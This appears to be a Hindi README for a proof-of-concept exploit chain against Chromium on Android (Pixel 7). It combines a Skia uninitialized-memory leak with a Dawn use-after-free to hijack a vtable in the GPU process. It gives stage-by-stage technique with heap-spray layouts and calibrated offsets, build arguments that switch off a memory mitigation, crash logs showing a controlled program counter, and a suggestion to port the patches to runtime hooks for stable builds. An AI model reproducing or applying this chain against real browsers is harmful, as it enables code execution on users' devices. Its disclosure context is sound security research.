
एंड्रॉइड क्रोमियम के लिए फुल-चेन एक्सप्लॉइट जो CVE-2026-11057 इंफो लीक और CVE-2026-5281 यूज़-आफ्टर-फ्री को मिलाकर vtable हाईजैक और आर्बिट्ररी कोड एक्ज़ीक्यूशन प्राप्त करता है।
Pixel 7 Android 16 ARM64
commit 994c846bbd7a35241ba7c08158c13d66412a6993 (HEAD -> 146.0.7680.111, tag: 146.0.7680.111)
Author: Roger McFarlane <[email protected]>
Date: Mon Mar 9 12:48:07 2026 -0700
यह रिपॉजिटरी CVE-2026-11057 (Skia अनइनिशियलाइज़्ड ग्लिफ़ इमेज मेमोरी) और CVE-2026-5281 (Dawn वायर सर्वर DeviceInfo यूज़-आफ्टर-फ्री) को एक पूर्ण चेन में जोड़ती है। सभी संशोधन रेंडरर-साइड हैं; GPU-प्रोसेस कोड अपरिवर्तित है:
जानकारी लीक (CVE-2026-11057) — कैनवास टेक्स्ट रेंडरिंग के माध्यम से एक अनइनिशियलाइज़्ड ग्लिफ़ इमेज बफर ट्रिगर करें, GPU-प्रोसेस हीप से पॉइंटर्स वापस पढ़ें, उन्हें अरिथमेटिक रन के साथ मान्य करें, PartitionAlloc पूल बेस प्राप्त करें, और फेक सर्वर लक्ष्य M = POOL + 0x202A08000 (कैलिब्रेटेड ऑफसेट) की गणना करें।
CC स्प्रे — createBuffer(label="CCM:<m>:<n>") 3000 अपूर्ण ChunkedCommands (10KB बकेट, remainingSize=1, वायर सर्वर के mChunkedCommands में जीवित रखा गया) के इंजेक्शन को ट्रिगर करता है। पेलोड M के आसपास के क्षेत्र को Android arm64 के लिए बनाए गए फेक सर्वर से भर देता है: MutexProtected vptr +0xB20 पर, ChunkedCommandSerializer +0xB50/+0xB58 पर, फेक CommandSerializer/vtable +0xC00/+0xD00 पर।
5281 ट्रिगर + अधिग्रहण — queue.writeBuffer(buffer, 0x414141, ...) पहले 16-बाइट DeviceInfo को मुक्त करने के लिए Unregister(Device) को कॉल करता है, फिर उस स्लॉट को पुनः प्राप्त करने और info->server को M के साथ अधिलेखित करने के लिए एक 16-बाइट अधिग्रहण ChunkedCommand इंजेक्ट करता है, और अंत में एक आउट-ऑफ-बाउंड्स ऑफसेट के साथ एक सत्यापन त्रुटि ट्रिगर करता है।
डैंगलिंग कॉलबैक → vtable हाइजैक — अनकैप्चर्ड-एरर कॉलबैक info->server = M (फेक सर्वर) को डीरेफरेंस करता है: शून्य किए गए म्यूटेक्स पास हो जाते हैं, निष्पादन OnUncapturedError → SerializeCommand तक पहुँचता है, और रिलेटिव-vtable अप्रत्यक्ष कॉल हमारी फेक vtable को हिट करता है, जिससे pc = fake_vtable + नियंत्रित int32 ऑफसेट मिलता है, जैसा कि pc = 0x7641414141 द्वारा प्रदर्शित किया गया है।
नोट: Android arm64 Chromium रिलेटिव vtables (
-fexperimental-relative-c++-abi-vtables) का उपयोग करता है; vtable प्रविष्टियाँ निरपेक्ष फ़ंक्शन पॉइंटर्स के बजाय 32-बिट रिलेटिव ऑफसेट होती हैं, इसलिए PoC vtable-हाइजैक बिंदु पर मार्कर के रूप में एक नियंत्रित int32 ऑफसेट का उपयोग करता है।
परीक्षण डिवाइस पर, पूर्ण चेन लगभग 100% सफलता दर के साथ vtable-हाइजैक क्रैश तक पहुँचती है; लीक चरण को सफल होने से पहले कभी-कभी कई स्वचालित रीलोड की आवश्यकता हो सकती है।
SkStrike.cpp.patch — CVE-2026-11057 लीक ट्रिगर। FlattenGlyphsByType() स्ट्राइक पेलोड को फिर से लिखता है ताकि GPU प्रोसेस fImage == nullptr के साथ एक SkGlyph बनाए, अंततः हीप पॉइंटर्स को लीक करने के लिए एक अनइनिशियलाइज़्ड इमेज बफर पढ़े।Device.cpp.patch — Dawn वायर क्लाइंट CC स्प्रे। APICreateBuffer() CCM: लेबल को पार्स करता है, Android arm64 फेक सर्वर पेलोड बनाता है, और N अपूर्ण ChunkedCommands इंजेक्ट करता है जो GPU प्रोसेस में जीवित रहते हैं।ApiProcs.cpp.patch — CVE-2026-5281 ट्रिगर + अधिग्रहण। QueueWriteBuffer मैजिक ऑफसेट 0x414141 पर, यह DeviceInfo को मुक्त करने के लिए Unregister(Device) को कॉल करता है, स्लॉट को पुनः प्राप्त करने और info->server = M सेट करने के लिए एक 16-बाइट ChunkedCommand इंजेक्ट करता है, फिर डैंगलिंग कॉलबैक को फायर करने के लिए आउट-ऑफ-बाउंड्स ऑफसेट के साथ आगे बढ़ता है।यह ExP केवल vtable हाइजैक चरण तक प्रकट किया गया है (नियंत्रित अप्रत्यक्ष कॉल लक्ष्य, pc = base+0x41414141)। नियंत्रित जंप से आगे के चरण, साथ ही RCE कार्यान्वयन, गोपनीय रखे गए हैं और इस रिपॉजिटरी में शामिल नहीं हैं।
# Set build arguments here. See `gn help buildargs`.
is_official_build = true
is_debug = false
symbol_level = 0
v8_symbol_level = 0
blink_symbol_level = 0
is_component_build = false
proprietary_codecs = true
ffmpeg_branding = "Chrome"
dcheck_always_on =false
optimize_webui = true
android_static_analysis = "off"
target_os = "android"
target_cpu = "arm64"
# Disable PartitionAllocEventuallyZeroFreedMemory
disable_fieldtrial_testing_config = true
treat_warnings_as_errors = false
adb logcat | grep DEBUG निष्पादित करेंवर्तमान एक्सप्लॉइट स्टैक:
~$ adb logcat | grep DEBUG
06-11 20:51:46.100 11269 11269 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-11 20:51:46.100 11269 11269 F DEBUG : Build fingerprint: '[REDACTED]'
06-11 20:51:46.100 11269 11269 F DEBUG : Revision: 'MP1.0'
06-11 20:51:46.100 11269 11269 F DEBUG : ABI: 'arm64'
06-11 20:51:46.100 11269 11269 F DEBUG : Timestamp: 2025-06-11 20:51:45.949325765+0800
06-11 20:51:46.100 11269 11269 F DEBUG : Process uptime: 3s
06-11 20:51:46.100 11269 11269 F DEBUG : Cmdline: org.chromium.chrome:privileged_process0
06-11 20:51:46.100 11269 11269 F DEBUG : pid: 11188, tid: 11211, name: CrGpuMain >>> org.chromium.chrome:privileged_process0 <<<
06-11 20:51:46.100 11269 11269 F DEBUG : uid: 10309
06-11 20:51:46.100 11269 11269 F DEBUG : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
06-11 20:51:46.100 11269 11269 F DEBUG : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0000007641414141
06-11 20:51:46.100 11269 11269 F DEBUG : x0 0000007602a08b20 x1 0000007b272cd808 x2 0000000000000002 x3 00000076000f5c40
06-11 20:51:46.100 11269 11269 F DEBUG : x4 00000000000000b1 x5 000000760148b520 x6 0000000001414d4c x7 0000007e7db19004
06-11 20:51:46.100 11269 11269 F DEBUG : x8 0000007b272cd790 x9 0000007641414141 x10 0000000000000000 x11 0000000000000001
06-11 20:51:46.100 11269 11269 F DEBUG : x12 0000000000000000 x13 0000000000000002 x14 0000007e7d733040 x15 0000000000000000
06-11 20:51:46.100 11269 11269 F DEBUG : x16 0000007b230ada10 x17 0000007e66d55520 x18 0000007b25fd8000 x19 0000007602a08000
06-11 20:51:46.100 11269 11269 F DEBUG : x20 00000000000000b1 x21 00000076000f5c40 x22 0000000000000002 x23 0000007b272cd808
06-11 20:51:46.100 11269 11269 F DEBUG : x24 0000007602a08000 x25 0000007b230e7000 x26 0000007b1897c2c6 x27 0000000000000006
06-11 20:51:46.100 11269 11269 F DEBUG : x28 0000007b22fa7728 x29 0000007b272cd7c0
06-11 20:51:46.100 11269 11269 F DEBUG : lr 0000007b20309184 sp 0000007b272cd770 pc 0000007641414141 pst 0000000060001000
06-11 20:51:46.100 11269 11269 F DEBUG : 36 total frames
06-11 20:51:46.100 11269 11269 F DEBUG : backtrace:
06-11 20:51:46.100 11269 11269 F DEBUG : #00 pc 000000003dd8c141 [anon:partition_alloc]
06-11 20:51:46.100 11269 11269 F DEBUG : #01 pc 00000000084ac180 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #02 pc 00000000084ab1fc /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #03 pc 0000000002a1988c /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #04 pc 0000000002a36b4c /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #05 pc 00000000029de990 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #06 pc 00000000084ae164 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #07 pc 00000000084956b8 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #08 pc 0000000008dd61f0 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #09 pc 0000000008dd6300 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #10 pc 0000000008dd3dd0 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #11 pc 00000000065fe184 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #12 pc 00000000065fd1dc /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #13 pc 00000000065faf6c /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #14 pc 00000000065fac54 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #15 pc 0000000005a63054 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #16 pc 00000000065ff294 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #17 pc 000000000547e288 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #18 pc 00000000058de7ec /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #19 pc 0000000005d66b70 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #20 pc 000000000633da58 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #21 pc 00000000063431e8 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #22 pc 0000000007a2eb60 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #23 pc 0000000007a2e730 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #24 pc 0000000007a2dd14 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #25 pc 0000000007a2da24 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #26 pc 000000000033f500 /apex/com.android.art/lib64/libart.so (art_quick_generic_jni_trampoline+144) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #27 pc 0000000000689588 /apex/com.android.art/lib64/libart.so (nterp_helper+152) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #28 pc 00000000002890ec /data/app/.../base.apk (offset 0x1ec6000) (qf1.run+560)
06-11 20:51:46.100 11269 11269 F DEBUG : #29 pc 00000000000a94f0 /system/framework/arm64/boot.oat (java.lang.Thread.run+64) (BuildId: f7dcc0c41d7298598dd50b6df5fbdd67cef62829)
06-11 20:51:46.100 11269 11269 F DEBUG : #30 pc 0000000000328194 /apex/com.android.art/lib64/libart.so (art_quick_invoke_stub+612) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #31 pc 00000000002d9348 /apex/com.android.art/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+216) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #32 pc 0000000000421028 /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallback(void*)+932) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #33 pc 0000000000420c74 /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallbackWithUffdGc(void*)+8) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #34 pc 0000000000080e6c /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*)+236) (BuildId: 56d1c072e220860e239a4a1824a78f97)
06-11 20:51:46.100 11269 11269 F DEBUG : #35 pc 00000000000736d0 /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+64) (BuildId: 56d1c072e220860e239a4a1824a78f97)
पूर्ण एक्सप्लॉइट स्टैक (एक मनमाना 64-बिट पते पर जंप):
~$ adb logcat | grep DEBUG
06-12 01:02:33.858 17983 17983 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-12 01:02:33.858 17983 17983 F DEBUG : Build fingerprint: 'google/panther/panther:16/.../release-keys'
06-12 01:02:33.858 17983 17983 F DEBUG : Revision: 'MP1.0'
06-12 01:02:33.858 17983 17983 F DEBUG : ABI: 'arm64'
06-12 01:02:33.858 17983 17983 F DEBUG : Timestamp: 2025-06-12 01:02:33.719427351+0800
06-12 01:02:33.858 17983 17983 F DEBUG : Process uptime: 151s
06-12 01:02:33.858 17983 17983 F DEBUG : Cmdline: org.chromium.chrome:privileged_process2
06-12 01:02:33.858 17983 17983 F DEBUG : pid: 17875, tid: 17891, name: CrGpuMain >>> org.chromium.chrome:privileged_process2 <<<
06-12 01:02:33.858 17983 17983 F DEBUG : uid: 10309
06-12 01:02:33.858 17983 17983 F DEBUG : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
06-12 01:02:33.858 17983 17983 F DEBUG : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0041414141414141
06-12 01:02:33.858 17983 17983 F DEBUG : x0 0000007602a08b68 x1 0000007b272cd808 x2 0000000000000002 x3 00000076000c9f40
06-12 01:02:33.858 17983 17983 F DEBUG : x4 00000000000000b1 x5 0000007600024c40 x6 0000000001414d4c x7 0000007e7db19004
06-12 01:02:33.858 17983 17983 F DEBUG : x8 4141414141414141 x9 0000007b76d934a0 x10 0000000000000000 x11 0000000000000001
06-12 01:02:33.858 17983 17983 F DEBUG : x12 0000000000000000 x13 0000000000000002 x14 0000007e7d733040 x15 0000000000000000
06-12 01:02:33.858 17983 17983 F DEBUG : x16 0000007b24f19ab0 x17 0000007e66d55520 x18 0000007b266dc000 x19 0000007602a08000
06-12 01:02:33.858 17983 17983 F DEBUG : x20 00000000000000b1 x21 00000076000c9f40 x22 0000000000000002 x23 0000007b272cd808
06-12 01:02:33.858 17983 17983 F DEBUG : x24 0000007602a08000 x25 0000007b24f53000 x26 0000007b1a7e82c6 x27 0000000000000006
06-12 01:02:33.858 17983 17983 F DEBUG : x28 0000007b24e137c8 x29 0000007b272cd7c0
06-12 01:02:33.858 17983 17983 F DEBUG : lr 0000007b76d934b0 sp 0000007b272cd770 pc 0041414141414141 pst 0000000060001000
06-12 01:02:33.858 17983 17983 F DEBUG : 3 total frames
06-12 01:02:33.858 17983 17983 F DEBUG : backtrace:
06-12 01:02:33.858 17983 17983 F DEBUG : #00 pc 0041414141414141 <unknown>
06-12 01:02:33.858 17983 17983 F DEBUG : #01 pc 0000000000b0f4ac /.....
06-12 01:02:33.858 17983 17983 F DEBUG : #02 pc 00000000001cdffc [anon:partition_alloc]
Chromium के stable संस्करण में, पैच को सीधे लागू करना संभव या वांछनीय नहीं हो सकता है। इसलिए, आप पैच लॉजिक को हुक फ़ंक्शन के रूप में फिर से लिख सकते हैं ताकि रनटाइम पर संबंधित प्रोसेसिंग फ़ंक्शन को इंटरसेप्ट और संशोधित किया जा सके।
exploit.html — पेज ऑर्केस्ट्रेशन: लीक प्रिमिटिव (groom/draw/readCell/verifyRuns/derivePoolBase), CC स्प्रे, और एक स्टैंडअलोन exploit5281() ट्रिगर; विफलता पर यह स्प्रे स्थिति को साफ करता है और रीलोड करता है ताकि चरण एक-दूसरे में हस्तक्षेप न करें।